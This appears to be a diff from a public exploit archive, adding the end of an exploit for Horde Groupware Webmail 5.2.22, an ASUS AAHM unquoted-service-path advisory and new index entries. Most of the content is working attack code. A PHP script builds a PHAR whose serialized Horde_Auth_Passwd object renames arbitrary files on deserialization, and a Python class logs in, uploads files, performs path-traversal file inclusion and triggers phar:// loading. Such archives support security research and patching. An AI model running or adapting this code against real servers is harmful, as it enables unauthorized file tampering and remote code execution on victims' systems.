// the __destruct method of Horde_Auth_Passwd eventually calls
|
||||||
|
// rename($this->_lockfile, $this->_params['filename']) if $this->_locked
|
||||||
|
class Horde_Auth_Passwd {
|
||||||
|
// visibility must match since protected members are prefixed by "\x00*\x00"
|
||||||
|
protected $_locked;
|
||||||
|
protected $_params;
|
||||||
|
|
||||||
|
function __construct($source, $destination) {
|
||||||
|
$this->_params = array('filename' => $destination);
|
||||||
|
$this->_locked = true;
|
||||||
|
$this->_lockfile = $source;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
function createPhar($path, $source, $destination, $stub) {
|
||||||
|
// create the object and specify source and destination files
|
||||||
|
$object = new Horde_Auth_Passwd($source, $destination);
|
||||||
|
|
||||||
|
// create the PHAR
|
||||||
|
$phar = new Phar($path);
|
||||||
|
$phar->startBuffering();
|
||||||
|
$phar->addFromString('x', '');
|
||||||
|
$phar->setStub("<?php $stub __HALT_COMPILER();");
|
||||||
|
$phar->setMetadata($object);
|
||||||
|
$phar->stopBuffering();
|
||||||
|
}
|
||||||
|
|
||||||
|
function main() {
|
||||||
|
global $argc, $argv;
|
||||||
|
|
||||||
|
// check arguments
|
||||||
|
if ($argc != 5) {
|
||||||
|
fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n");
|
||||||
|
exit(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// create a fresh new phar
|
||||||
|
$path = $argv[1];
|
||||||
|
$source = $argv[2];
|
||||||
|
$destination = $argv[3];
|
||||||
|
$stub = $argv[4];
|
||||||
|
@unlink($path);
|
||||||
|
createPhar($path, $source, $destination, $stub);
|
||||||
|
}
|
||||||
|
|
||||||
|
main();
|
||||||
|
## create-renaming-phar.php EOF
|
||||||
|
|
||||||
|
|
||||||
|
## horde.py
|
||||||
|
import re
|
||||||
|
import requests
|
||||||
|
|
||||||
|
class Horde():
|
||||||
|
def __init__(self, base_url, username, password):
|
||||||
|
self.base_url = base_url
|
||||||
|
self.username = username
|
||||||
|
self.password = password
|
||||||
|
self.session = requests.session()
|
||||||
|
self.token = None
|
||||||
|
self._login()
|
||||||
|
|
||||||
|
def _login(self):
|
||||||
|
url = '{}/login.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'login_post': 1,
|
||||||
|
'horde_user': self.username,
|
||||||
|
'horde_pass': self.password
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
|
||||||
|
assert (
|
||||||
|
len(response.history) == 1 and
|
||||||
|
response.history[0].status_code == 302 and
|
||||||
|
response.history[0].headers['location'] == '/services/portal/' and
|
||||||
|
token_match
|
||||||
|
), 'Cannot log in'
|
||||||
|
self.token = token_match.group(1)
|
||||||
|
|
||||||
|
def upload_to_tmp(self, filename, data):
|
||||||
|
url = '{}/turba/add.php'.format(self.base_url)
|
||||||
|
files = {
|
||||||
|
'object[photo][img][file]': (None, filename),
|
||||||
|
'object[photo][new]': ('x', data)
|
||||||
|
}
|
||||||
|
response = self.session.post(url, files=files)
|
||||||
|
assert response.status_code == 200, 'Cannot upload the file to tmp'
|
||||||
|
|
||||||
|
def include_remote_inc_file(self, path):
|
||||||
|
# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
|
||||||
|
app = 'trean:trean_Block_Bookmarks'
|
||||||
|
|
||||||
|
# add one dummy bookmark (to be sure)
|
||||||
|
url = '{}/trean/add.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'actionID': 'add_bookmark',
|
||||||
|
'url': 'x'
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot add the bookmark'
|
||||||
|
|
||||||
|
# add bookmark block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save-resume',
|
||||||
|
'app': app,
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot add the bookmark block'
|
||||||
|
|
||||||
|
# edit bookmark block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save',
|
||||||
|
'app': app,
|
||||||
|
'params[template]': '../../../../../../../../../../../' + path
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot edit the bookmark block'
|
||||||
|
|
||||||
|
# evaluate the remote file
|
||||||
|
url = '{}/services/portal/'.format(self.base_url)
|
||||||
|
response = self.session.get(url)
|
||||||
|
print(response.text)
|
||||||
|
|
||||||
|
# remove the bookmark block so to not break the page
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
# XXX token not needed here
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'removeBlock'
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot reset the bookmark block'
|
||||||
|
|
||||||
|
def trigger_phar(self, path):
|
||||||
|
# vulnerable block (alternatively the same can be obtained by creating a
|
||||||
|
# bookmark with the PHAR path and clocking on it)
|
||||||
|
app = 'horde:horde_Block_Feed'
|
||||||
|
|
||||||
|
# add syndicated feed block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save-resume',
|
||||||
|
'app': app,
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot add the syndicated feed block'
|
||||||
|
|
||||||
|
# edit syndicated feed block
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
'token': self.token,
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'save',
|
||||||
|
'app': app,
|
||||||
|
'params[uri]': 'phar://{}'.format(path)
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot edit the syndicated feed block'
|
||||||
|
|
||||||
|
# load the PHAR archive
|
||||||
|
url = '{}/services/portal/'.format(self.base_url)
|
||||||
|
response = self.session.get(url)
|
||||||
|
|
||||||
|
# remove the syndicated feed block so to not break the page
|
||||||
|
url = '{}/services/portal/edit.php'.format(self.base_url)
|
||||||
|
data = {
|
||||||
|
# XXX token not needed here
|
||||||
|
'row': 0,
|
||||||
|
'col': 0,
|
||||||
|
'action': 'removeBlock'
|
||||||
|
}
|
||||||
|
response = self.session.post(url, data=data)
|
||||||
|
assert response.status_code == 200, 'Cannot reset the syndicated feed block'
|
||||||
|
## horde.py EOF
|
||||||
34
exploits/windows/local/48206.txt
Normal file
34
exploits/windows/local/48206.txt
Normal file
|
|
@ -0,0 +1,34 @@
|
||||||
|
# Exploit Title: ASUS AAHM 1.00.22 - 'asHmComSvc' Unquoted Service Path
|
||||||
|
# Discovery by: Roberto Piña
|
||||||
|
# Discovery Date: 2020-03-11
|
||||||
|
# Vendor Homepage: https://www.asus.com/
|
||||||
|
# Software Link :https://dlcdnets.asus.com/pub/ASUS/misc/utils/AISuite3_Win10_H97M-Pro_V10102.zip?_ga=2.170180192.1334401606.1583873755-790266082.1583873755
|
||||||
|
# Tested Version: 1.00.22
|
||||||
|
# Vulnerability Type: Unquoted Service Path
|
||||||
|
# Tested on OS: Windows 10 Home x64 en
|
||||||
|
|
||||||
|
# Step to discover Unquoted Service Path:
|
||||||
|
|
||||||
|
C:\>wmic service get name, pathname, displayname, startmode | findstr "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "asHmComSvc" | findstr /i /v """
|
||||||
|
ASUS HM Com Service asHmComSvc C:\Program Files (x86)\ASUS\AAHM\1.00.22\aaHMSvc.exe Auto
|
||||||
|
|
||||||
|
C:\>sc qc asHmComSvc
|
||||||
|
[SC] QueryServiceConfig SUCCESS
|
||||||
|
|
||||||
|
SERVICE_NAME: asHmComSvc
|
||||||
|
TYPE : 10 WIN32_OWN_PROCESS
|
||||||
|
START_TYPE : 2 AUTO_START
|
||||||
|
ERROR_CONTROL : 1 NORMAL
|
||||||
|
BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\AAHM\1.00.22\aaHMSvc.exe
|
||||||
|
LOAD_ORDER_GROUP :
|
||||||
|
TAG : 0
|
||||||
|
DISPLAY_NAME : ASUS HM Com Service
|
||||||
|
DEPENDENCIES : RpcSs
|
||||||
|
SERVICE_START_NAME : LocalSystem
|
||||||
|
|
||||||
|
|
||||||
|
#Exploit:
|
||||||
|
# A successful attempt would require the local user to be able to insert their code in the system root path
|
||||||
|
# undetected by the OS or other security applications where it could potentially be executed during
|
||||||
|
# application startup or reboot. If successful, the local user's code would execute with the elevated
|
||||||
|
# privileges of the application.
|
||||||
|
|
@ -10988,6 +10988,7 @@ id,file,description,date,author,type,platform,port
|
||||||
48185,exploits/linux/local/48185.rb,"OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)",2020-03-09,Metasploit,local,linux,
|
48185,exploits/linux/local/48185.rb,"OpenSMTPD - OOB Read Local Privilege Escalation (Metasploit)",2020-03-09,Metasploit,local,linux,
|
||||||
48187,exploits/multiple/local/48187.txt,"Counter Strike: GO - '.bsp' Memory Control (PoC)",2020-03-09,"0day enthusiast",local,multiple,
|
48187,exploits/multiple/local/48187.txt,"Counter Strike: GO - '.bsp' Memory Control (PoC)",2020-03-09,"0day enthusiast",local,multiple,
|
||||||
48193,exploits/windows/local/48193.txt,"ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path",2020-03-11,"Roberto Piña",local,windows,
|
48193,exploits/windows/local/48193.txt,"ASUS AXSP 1.02.00 - 'asComSvc' Unquoted Service Path",2020-03-11,"Roberto Piña",local,windows,
|
||||||
|
48206,exploits/windows/local/48206.txt,"ASUS AAHM 1.00.22 - 'asHmComSvc' Unquoted Service Path",2020-03-12,"Roberto Piña",local,windows,
|
||||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||||
|
|
@ -42457,3 +42458,11 @@ id,file,description,date,author,type,platform,port
|
||||||
48189,exploits/php/webapps/48189.txt,"YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting",2020-03-10,En_dust,webapps,php,
|
48189,exploits/php/webapps/48189.txt,"YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting",2020-03-10,En_dust,webapps,php,
|
||||||
48190,exploits/php/webapps/48190.txt,"Persian VIP Download Script 1.0 - 'active' SQL Injection",2020-03-10,S3FFR,webapps,php,
|
48190,exploits/php/webapps/48190.txt,"Persian VIP Download Script 1.0 - 'active' SQL Injection",2020-03-10,S3FFR,webapps,php,
|
||||||
48197,exploits/php/webapps/48197.txt,"Wordpress Plugin Search Meter 2.13.2 - CSV injection",2020-03-11,"Daniel Monzón",webapps,php,
|
48197,exploits/php/webapps/48197.txt,"Wordpress Plugin Search Meter 2.13.2 - CSV injection",2020-03-11,"Daniel Monzón",webapps,php,
|
||||||
|
48202,exploits/php/webapps/48202.txt,"Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection",2020-03-12,"Milad karimi",webapps,php,
|
||||||
|
48203,exploits/java/webapps/48203.txt,"WatchGuard Fireware AD Helper Component 5.8.5.10317 - Credential Disclosure",2020-03-12,"RedTeam Pentesting GmbH",webapps,java,
|
||||||
|
48204,exploits/php/webapps/48204.txt,"Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection",2020-03-12,"Daniel Monzón",webapps,php,
|
||||||
|
48205,exploits/php/webapps/48205.txt,"HRSALE 1.1.8 - Cross-Site Request Forgery (Add Admin)",2020-03-12,"Ismail Akıcı",webapps,php,
|
||||||
|
48207,exploits/php/webapps/48207.py,"rConfig 3.93 - 'ajaxAddTemplate.php' Authenticated Remote Code Execution",2020-03-12,"Engin Demirbilek",webapps,php,
|
||||||
|
48208,exploits/php/webapps/48208.py,"rConfig 3.9 - 'searchColumn' SQL Injection",2020-03-12,vikingfr,webapps,php,
|
||||||
|
48209,exploits/php/webapps/48209.py,"Horde Groupware Webmail Edition 5.2.22 - PHP File Inclusion",2020-03-11,"Andrea Cardaci",webapps,php,
|
||||||
|
48210,exploits/php/webapps/48210.py,"Horde Groupware Webmail Edition 5.2.22 - PHAR Loading",2020-03-11,"Andrea Cardaci",webapps,php,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue